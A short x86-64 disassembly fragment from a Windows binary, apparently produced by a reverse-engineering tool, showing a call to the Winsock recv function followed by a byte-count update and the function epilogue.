call qword [sym.imp.WS2_32.dll_recv]
movsxd rcx, eax
test eax, eax
jle 0x140020107
add qword [rdi + rbx + 0x268], rcx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret